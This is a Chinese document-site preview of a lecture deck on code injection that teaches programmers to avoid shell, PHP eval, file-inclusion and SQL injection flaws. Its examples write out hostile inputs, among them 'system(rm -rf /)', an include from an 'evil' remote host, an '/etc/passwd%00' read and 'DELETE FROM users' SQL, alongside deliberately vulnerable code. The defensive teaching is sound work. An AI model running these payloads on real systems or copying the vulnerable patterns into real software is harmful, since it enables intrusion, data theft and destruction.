程序代码注入课件.ppt
- 【下载声明】
1. 本站全部试题类文档,若标题没写含答案,则无答案;标题注明含答案的文档,主观题也可能无答案。请谨慎下单,一旦售出,不予退换。
2. 本站全部PPT文档均不含视频和音频,PPT中出现的音频或视频标识(或文字)仅表示流程,实际无音频或视频文件。请谨慎下单,一旦售出,不予退换。
3. 本页资料《程序代码注入课件.ppt》由用户(ziliao2023)主动上传,其收益全归该用户。163文库仅提供信息存储空间,仅对该用户上传内容的表现方式做保护处理,对上传内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知163文库(点击联系客服),我们立即给予删除!
4. 请根据预览情况,自愿下载本文。本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
5. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007及以上版本和PDF阅读器,压缩文件请下载最新的WinRAR软件解压。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 程序代码 注入 课件
- 资源描述:
-
1、程序员疫苗:代码注入程序员疫苗:代码注入 几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗代码注入。Shell注入注入n我们先来看一段perl的代码:nuse CGI qw(:standard);$
2、name=param(name);$nslookup=/path/to/nslookup;print header;if(open($fh,$nslookup$name|)while()print escapeHTML($_);print n;close($fh);如果用户输入的参数是:%20%3B%20/bin/ls%20-l那么,这段perl的程序就成了:n/path/to/nslookup ;/bin/ls-l 我们再来看一段PHP的程序 n$myvar=somevalue;$x=$_GETarg;eval($myvar=.$x.;);“eval“的参数将会视同PHP处理,所以额外的命令
3、可被添加。例如:如果”arg”如果被设成”10;system(rm-rf/)“,后面的”system(rm-rf/)“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm-rf/,你懂的,可参看“一个空格引发的悲剧”)PHP代码 n再来看一个PHP的代码n$isadmin=false;.foreach($_GET as$key=$value)$key=$value;如果攻击者在查询字符串中给定”isadmin=1,那$isadmin将会被设为值“1,然后攻击值就取得了网站应用的admin权限了。PHP示例 n$action=login;if(_isset($_GETact)$act
4、ion=$_GETact;require($action.php);这个代码相当危险,攻击者有可能可以干这些事:n/test.php?act=http:/evil/exploit-注入远程机器上有漏洞的文件。n/test.php?act=/home/www/bbs/upload/exploit-从一个已经上载、叫做exploit.php文件运行其代码。n/test.php?act=././././etc/passwd%00-让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非.php 结尾文件。(PHP默认值”magic_quotes_g
5、pc=On”可以终止这种攻击)n这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。nPHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的。SQL注入注入nSQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良
6、的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。n在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:n在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。n在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。n在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)n
7、过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。例程 n某个网站的登录验证的SQL查询代码为nstrSQL=SELECT*FROM users WHERE(name=+userName+)and(pw=+passWord+);n用户在登录时恶意输入如下的的用户名和口令:nuserName=OR 1=1;npassWord=OR 1=1;n此时,将导致原本的SQL字符串被解析为:nstrSQL=SELECT*FROM users WHERE(name=OR 1=1)and(pw=OR 1=1);n也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密
8、码,也可登录网站。nstrSQL=SELECT*FROM users;n这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:nusername=;DELETE FROM users;-;这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。n当他们发现一个网站有SQL注入的时候,他们一般会干下面的事:n盗取数据表中的数据,例如个人机密数据(信用卡,身份证,手机号,通讯录),帐户数据,密码等,获得用户的数据和信息后对这些用户进行“社会工程学”活动(如:我前两天在微信上亲身经历)。n取得系统管理员权限(例如ALTER LOGIN sa WITH PASSWORD=xxxxxx)。n
展开阅读全文